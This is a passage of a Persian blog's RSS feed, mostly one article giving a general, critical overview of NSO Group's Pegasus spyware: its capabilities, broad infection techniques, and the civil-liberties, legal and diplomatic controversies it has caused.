نگهداری ضروری است. با به دست آوردن بینش در مورد فرآیند کامپایل، توسعه‌دهندگان می‌توانند کد را بهینه کنند، خطاها را تشخیص دهند و از ویژگی‌های کامپایلر برای افزایش کیفیت و عملکرد نرم‌افزار استفاده کنند.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sat, 13 Jul 2024 08:49:22 +0330</pubDate></item><item><title>رونمایی از نرم‌افزار جاسوسی Pegasus: بررسی یک سلاح سایبری بدنام</title><link>https://virgool.ir/@LoopLunatic/رونمایی-از-نرم-افزار-جاسوسی-pegasus-بررسی-یک-سلاح-سایبری-بدنام-ztif8vhjd9f8</link><description>در حوزه امنیت سایبری، ابزارهای کمی به‌اندازه جاسوس‌افزار Pegasus موردتوجه و بحث‌وجدل قرارگرفته‌اند. Pegasus که توسط شرکت فناوری اسرائیلی NSO Group توسعه داده‌شده است، یک ابزار نظارتی پیچیده است که در مرکز رسوایی‌ها، ادعاها و تحقیقات متعدد قرارگرفته است. در این مقاله، ما به پیچیدگی‌های جاسوس‌افزار Pegasus می‌پردازیم و اطلاعات موجود در مورد قابلیت‌های آن، تکنیک‌هایی که به کار می‌برد و عوارضی که برای افراد، سازمان‌ها و دولت‌ها در سرتاسر جهان ارائه می‌کند را بررسی می‌کنیم.آشنایی با نرم‌افزارهای جاسوسی پگاسوسپگاسوس (Pegasus) یک شکل قدرتمند و بسیار تهاجمی از نرم‌افزارهای جاسوسی است که برای نفوذ به دستگاه‌های تلفن همراه، ازجمله گوشی‌های هوشمند و تبلت¬ها، دارای سیستم‌عامل‌های iOS و Android طراحی‌شده است. عملکرد اصلی آن نظارت و جمع‌آوری مخفیانه طیف گسترده‌ای از داده‌ها از دستگاه آلوده است، ازجمله پیام‌های متنی، ایمیل‌ها، گزارش تماس‌ها، مخاطبین، عکس‌ها، فیلم‌ها، داده‌های موقعیت مکانی GPS و حتی ضبط‌های میکروفون و دوربین.پیچیدگی Pegasus در توانایی آن برای سوءاستفاده از آسیب‌پذیری‌های موجود در سیستم‌عامل‌ها و برنامه‌های کاربردی تلفن همراه محبوب برای دسترسی غیرمجاز به دستگاه‌ها نهفته است. پگاسوس با استفاده از اکسپلویت‌های روز صفر و سایر تکنیک‌های پیشرفته، می‌تواند اقدامات امنیتی را دور زده و بدون اطلاع یا رضایت کاربر، خود را روی دستگاه‌های هدف نصب کند. پس از نصب، در پس‌زمینه بی‌صدا عمل می‌کند، ارتباطات را ره‌گیری می‌کند، داده‌ها را جمع‌آوری می‌کند و آن‌ها را به سرورهای راه دور که توسط اپراتورهایش کنترل می‌شوند، منتقل می‌کند.تکنیک‌های مورداستفاده پگاسوسپگاسوس از تکنیک‌های مختلفی برای به خطر انداختن و نظارت بر دستگاه‌های هدف استفاده می‌کند، ازجمله:اکسپلویت روز صفر پگاسوس (Zero-Day Exploits): Pegasus اغلب به آسیب‌پذیری‌های روز صفر که نقص‌های نرم‌افزاری قبلاً ناشناخته بودند، برای دستیابی به دسترسی اولیه به دستگاه‌های هدف متکی است. پگاسوس با استفاده از این آسیب‌پذیری‌ها می‌تواند مکانیسم‌های امنیتی را دور بزند و بدون شناسایی خود را روی دستگاه‌ها نصب کند.مهندسی اجتماعی: در برخی موارد، اپراتورهای Pegasus ممکن است از تکنیک‌های مهندسی اجتماعی، مانند ایمیل‌های فیشینگ یا لینک‌های مخرب، برای فریب دادن اهداف برای نصب ناخواسته نرم‌افزارهای جاسوسی استفاده کنند. این تاکتیک‌ها بر روانشناسی و دست‌کاری انسان تکیه می‌کنند تا کاربران را متقاعد به انجام اقداماتی کنند که امنیت آن‌ها را به خطر می‌اندازد.نصب از راه دور: Pegasus برای نصب از راه دور و بدون هیچ‌گونه دسترسی فیزیکی به دستگاه موردنظر طراحی‌شده است. هنگامی‌که نرم‌افزار جاسوسی مستقر می‌شود، می‌تواند به‌طور محتاطانه در پس‌زمینه کار کند و تشخیص وجود آن یا حذف آن از دستگاه‌های خود را برای کاربران دشوار می‌کند.عملیات مخفیانه(Stealthy Operation): Pegasus طوری طراحی‌شده است که به‌صورت مخفیانه عمل کند و حضور خود را هم از کاربران و هم از نرم‌افزارهای امنیتی پنهان کند. این می‌تواند از شناسایی توسط برنامه‌های آنتی‌ویروس و سایر ابزارهای امنیتی فرار کند و شناسایی و کاهش تهدید را برای کاربران چالش‌برانگیز کند.نظارت مداوم: پگاسوس قادر به نظارت مداوم بر دستگاه‌های موردنظر، نظارت مستمر ارتباطات و فعالیت‌ها در یک دوره طولانی است. این به اپراتورهای آن اجازه می‌دهد تا اطلاعات ارزشمندی را جمع‌آوری کرده و بر اهداف باارزش بالا نظارت داشته باشند.عوارض و اختلافاتباوجود قابلیت‌های پیشرفته، جاسوس‌افزار پگاسوس موضوع بحث‌وجدل‌های قابل‌توجه و چالش‌های قانونی بوده است. برخی از عوارض و بحث‌های کلیدی پیرامون پگاسوس عبارت‌اند از:نگرانی‌های مربوط به آزادی مدنی: استفاده از جاسوس‌افزار Pegasus نگرانی‌های جدی در مورد آزادی‌های مدنی، حقوق حریم خصوصی و نظارت دولت ایجاد می‌کند. هدف قرار دادن بی‌رویه روزنامه‌نگاران، فعالان، سیاستمداران و دیگر افراد، خشم را برانگیخته و خواستار شفافیت و پاسخگویی بیشتر در استفاده از فناوری‌های نظارتی شده است.سوءاستفاده از قدرت: ادعاهای متعددی مبنی بر سوءاستفاده از پگاسوس توسط دولت‌ها و رژیم‌های مستبد برای هدف قرار دادن مخالفان، سرکوب مخالفان سیاسی و سرکوب آزادی بیان وجود دارد. اسلحه‌سازی فناوری نظارت برای اهداف سیاسی اصول دموکراتیک را تضعیف می‌کند و تهدیدی برای حقوق و آزادی‌های بشر است.پیامدهای حقوقی و اخلاقی: استفاده از جاسوس‌افزار Pegasus سؤالات حقوقی و اخلاقی پیچیده‌ای را در مورد قانونی بودن، مسائل قضایی و پاسخگویی آن ایجاد می‌کند. ماهیت مخفیانه استقرار آن و عدم شفافیت در مورداستفاده از آن، بحث‌هایی را در موردنیاز به مقررات قوی‌تر، مکانیسم‌های نظارتی و همکاری بین‌المللی برای رسیدگی به گسترش سلاح‌های سایبری دامن زده است.خطرات امنیتی: درحالی‌که Pegasus به‌عنوان ابزاری برای مجریان قانون و آژانس‌های اطلاعاتی به بازار عرضه می‌شود، در دسترس بودن گسترده و پتانسیل سوءاستفاده از آن خطرات امنیتی قابل‌توجهی را برای افراد، مشاغل و دولت‌ها ایجاد می‌کند. دسترسی غیرمجاز به داده‌های حساس، ازجمله اطلاعات شخصی و شرکتی، نگرانی‌هایی را در مورد نقض داده‌ها، سرقت هویت و کلاه‌برداری مالی ایجاد می‌کند.دیپلماسی بین‌المللی: استفاده از نرم‌افزارهای جاسوسی پگاسوس روابط دیپلماتیک بین کشورها را تیره کرده و منجر به اتهام جاسوسی سایبری تحت حمایت دولت شده است. اتهامات دولت‌های خارجی در مورد هدف قرار دادن رهبران سیاسی، دیپلمات‌ها و افراد بلندپایه موجب تنش‌های دیپلماتیک و درخواست‌ها برای مداخلات دیپلماتیک و تحریم علیه کشورهای متخلف شده است.نتیجهدرنتیجه، جاسوس‌افزار Pegasus ابزاری قدرتمند و بحث‌برانگیز در زرادخانه فناوری‌های نظارتی مدرن است. قابلیت‌های پیشرفته، عملیات مخفیانه و استفاده گسترده آن نگرانی‌های قابل‌توجهی را در مورد آزادی‌های مدنی، حقوق حریم خصوصی و اقدامات نظارتی دولت ایجاد کرده است. همان‌طور که بحث در مورداستفاده و تنظیم فناوری‌های نظارتی ادامه دارد، برای دولت‌ها، شرکت‌های فناوری و سازمان‌های جامعه مدنی ضروری است که به پیامدهای اخلاقی، قانونی و امنیتی Pegasus و سلاح‌های سایبری مشابه بپردازند. تنها از طریق شفافیت بیشتر، مسئولیت‌پذیری و همکاری بین‌المللی می‌توان امیدوار بود که خطرات ناشی از این ابزارهای نظارتی قدرتمند را کاهش دهیم و از حقوق و آزادی‌های افراد در سراسر جهان محافظت کنیم.</description><category>Loop Lunatic</category><author>Loop Lunatic</author><pubDate>Sun, 16 Jun 2024 10:26:02 +0330</pubDate></item></channel></rss>